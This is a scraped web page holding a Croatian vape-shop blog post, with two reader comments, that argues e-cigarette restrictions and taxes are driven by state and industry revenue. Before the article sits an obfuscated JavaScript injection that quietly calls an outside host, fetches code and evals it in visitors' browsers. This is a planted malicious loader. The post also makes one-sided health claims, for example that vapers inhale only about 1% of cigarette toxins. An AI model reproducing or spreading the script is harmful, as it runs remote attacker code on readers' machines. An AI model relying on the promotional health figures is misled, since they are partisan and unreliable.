;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//vaper-pub.com/wp-admin/wp-admin.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}
Posljedice ograničavanja i značajnijeg oporezivanja e cigareta

Posljedice ograničavanja i značajnijeg oporezivanja e cigareta

U svijetu se ponovo zahuktava situacija oko e cigareta. Virimo različite primjere nametanja ograničenja kao što su:
– dopušteno je prodavati isključivo zatvorene sisteme (PODovi i patrone)
– visoke (za kupce) destimulativne trošarine
– pisanje novih zakona koji obvezuju proizvođače na analize upitne svrhe i značaja

Sve je to usmjereno u maksimalnu destimulaciju krajnjeg korisnika e cigareta da nešto radi sam.

Da sam može zamijeniti grijač. Da sam može miksati e tekućinu. Da korisniku bude isplativo imati nekoliko komada opreme kako bi našao ono što mu najviše odgovara. Sve se to destimulira.

Zašto je to tako?

Zašto neke države potiču korištenje e cigareta dok druge zakonima nastoje to korištenje ograničiti?

Koliko je e cigareta opasna i štetna?

Korištenje e cigareta nije bez rizika. One je 95% manje štetna od redovnih cigareta, no još uvijek je štetna.

Zbog čega je štetna? Što čini tih 5% “štetnosti”?

U principu se ne zna. Tih 5% je odvojeno tek tako eto da ne bude 100%.

Prema dosadašnjim istraživanjima i saznanjima ukoliko se e cigareta koristi na način kako je namijenjena nema nekakve štetnosti ili dugotrajnih poslijedica. No tih 5% su procijenili da je nekakav potencijalni rizik štetnosti koji se može otkriti tek u budućnosti (ako se ikada otkrije).

To nije nešto što smo mi sada izmislili. To je službeni zaključak Ministarstva Zdravstva Engleske > dokazi da su e cigarete 95% manje štetne.

Sada probajte slijedeće pročitati sa razumijevanjem, polako i više puta.

Udisanjem pare e cigarete udišete u najgorem mogućem slučaju manje od 5% štetnih tvari koje bi udahnuli u regularnoj cigareti. Nekakav redovni postotak opasnih tvari koje udišete u e cigareti je bliži postotku od 1%.

Dakle korištenjem ispravnih uređaja, legalno kupljenih e tekućina udišete tek do 1% opasnih kemikalija koje bi udisali u dimu cigarete.

Također treba naglasiti da je tih 1% čak manje nego što je preporučeno dopušteno udisanje određenih spojeva kod osoba koje se bave određenim poslovima.

Tako primjerice osoba koja radi negdje gdje se prodaju boje i lakovi (s opcijom miješanja boja npr) tipa Bauhaus – propisano je zakonski da te osobe smiju udahnuti više određenih otrovnih plinova nego što će ih udahnuti u e cigareti.

Udisanje tih čestica, kemikalija baveći se tim poslom u tim postocima je OK. To tada nije štetno iako je ta dopuštena količina veća nego što će je udahnuti u e cigareti.

Što je onda problem? – Problem je ogromna količina novca u igri

Pitanje i odgovor. Realno, ruku na srce, samo je to problem – novac.

Problem je što:
– e cigarete i srodni proizvodi nisu pod kapom jednog ili par proizvođaća kao što je to slučaj u duhanskoj industriji – tržište je relativno nekontrolirano i slobodno
– komponente koje se koriste kod proizvodnje e tekućina su dostupne praktički u svakoj ljekarni

To sve predstavlja problem jer je to teško oporezivati. Prihodi od trošarina drastično padaju a to nije zanemariv iznos.

Ako sam ja dobro pročitao i shvatio, prihodi države od trošarina na cigarete iznose 4.8 milijardi kuna. To je oko 5% državnog proračuna, a 5% je puno. Pogotovo za državu koja nema para. I tu ne mislim samo na RH. – tu me svakako ispravite u komentarima ako sam nešto fulao.

Tko su trenutno glavni gubitnici?

Glavni gubitnici su:

  • duhanska industrija kojoj naglo pada prihod od prodaje cigareta
  • farmaceutska industrija kojoj je pala prodaja nepraktičnih i ne funkcionalnih proizvoda za odvikavanje od cigareta (nikotinski flasteri i žvakaće gume)
  • ponovo farmaceutska industrija kojoj pada prodaja lijekova tipa kemoterapija sa smanjenjem broja oboljelih od posljedica korištenja cigareta
  • država kojoj pada prihod od trošarina
  • eventualno nevladine udruge koje promiču prestanak pušenja a financiraju se iz budgeta države

Tko su trenutni dobitnici?

Trenutni glavni dobitnici su:

  • kupci, korisnici – em je jeftinije od cigareta, em manje štetno
  • ponovo država – sve države koje imaju uređeno zdravstvo kao u RH gdje će kroz određeni vremenski period broj oboljelih od posljedica korištenja cigareta biti sve manji i manji = manji troškovi zdravstva

Čisto za primjer. Jedna kemoterapija, jedna seansa – možda koštati i do 100 000 kn. Bolesnik ih možda mora primiti i 6 do 10.

Amerikance za taj zdravstveni aspekat uštede nije briga, kod njih je zdravstveno i ovako i onako privatno. Tko ima – taj preživi, tko ne – laka mu zemlja.

Možemo li mi nešto napraviti?

Čisto sumnjam.

TPD zakon je propisan od strane EU i mi ga kao članica moramo prihvatiti.

Engleska, s obzirom da više nije član EU, taj zakon više ne mora poštovati. Prema njihovom planu i riječima “sada kada su se riješili TPD zakona mogu stvoriti Englesku bez cigareta do 2030.” I to je njihov plan.

Gdje smo tu mi?

Iskreno sumnjam da će se država odreći trenutnih prihoda (trošarina) zbog eventualno budućih ušteda u zdravstvu.

Vladu biramo na 4 godine, njima treba lova sada a ne za XY godina kada bi moglo doći do ogromnih ušteda.

Isto tako je teško predvidjeti kada i kolike će uštede biti, dok je relativno lako izračunati koliko država trenutno gubi novca te koliko ga može zgrnuti trošarinama.

Hoće li trošarina znatno naštetiti e cigaretama i tržištu?

Sve ovisi o visini trošarina na e cigarete koje će se nametnuti. Hoće li one biti prihvatljive, ili će biti prepisane iz nekog trošarinskog zakona susjednih država čiji je standard stanovnika 5x veći.

To je generalno pitanje nekoliko institucija države. Koliko je kome od njih bitno zdravlje pučanstva, koliko resursa imaju za provesti vlastito, stručno, neovisno i objektivno istraživanje. Tu je još i pitanje koliko te institucije međusobno komuniciraju ili komuniciraju li uopće? Visina trošarina je stvar carine i Ministarstva Financija dok je zdravlje pučanstva i što je bolje za njih stvar Ministarstva Zdravstva.

Ako se i stavi nekakva normalna trošarina – to neće biti strašno.

Što može biti strašno za tržište e cigareta?

Strašnija mogu biti ograničenja propisana na nivou EU i koje mi kao država moramo prihvatiti.

Već sad imamo primjer takvog glupog ograničenja – ograničenje da se e tekućine isključivo prodaju u bočicama kapaciteta 10ml.

To je čisti dokaz apsolutne nebuloze i gluposti gdje s jedne strane mi više ne smijemo koristiti plastične slamke radi zagađenja ali moramo koristiti milion bočica od 10ml sa kutijicom i papirićem na kojima su upute kako se ulije tekućina u tank.

Zatim primjerice da kapacitet atomizera ne smije biti veći od 2ml? Zašto?

Drugo ograničenje koje je na snazi u nekim državama je zabrana prodaje putem interneta.

Zabrana oglašavanja.
Ovo pročitajte kao “izuzetno skupo oglašavanje” jer znamo iz primjera u svijetu kako su neke tvrtke duhanske industrije namjerno napravile promociju/promotivnu kampanju i jednostavno podnjele, za njih, mizeran trošak kazne od primjerice pol miliona kuna. Njima je to normalan i prihvatljiv trošak, jednoj maloj tvrtci sa 3 zaposlena nije.

I kada staneš malo postrance i pogledaš sva ta trenutna ograničenja slika postane jasnija – oni zakonom propisuju da svi moramo koristiti POD uređaje koji koriste patrone ili ne koristiti ništa.

To što smo “mi” (vaperi, vape industrija) našli rupu u zakonu – ta rupa bi se mogla vrlo brzo zakrpati strožim i konkretnijim propisima.

To je ono čega se bojimo.

Pratite nas i dalje svaki petak u live streamu gdje se dotićemo i ovakvih ozbiljnijih tema vezanih za e cigarete.

Choose your Reaction!
  • Činjenica je da je e cigareta odlično prihvaćena u društvu pa bi sad glavonje vrlo rado da im se to isplati. Zato i nabijaju porez i stavljaju ograničenja. U ovome su vidjeli jako dobar način punjenja državnih blagajni a možda i ponekih džepova. Možemo se samo nadati da neće trošarine bit previsoke i da na kraju neće doći do strožih propisa.😞😢

  • Super objašnjena problematika… Sve se uvijek svodi na to da jači tlači i da para vrti gdje burgija neće 😁Kako god, vrlo ćemo vjerojatno naje**ti, samo je pitanje kada, u kojem smislu i u kojoj mjeri…

Leave a Comment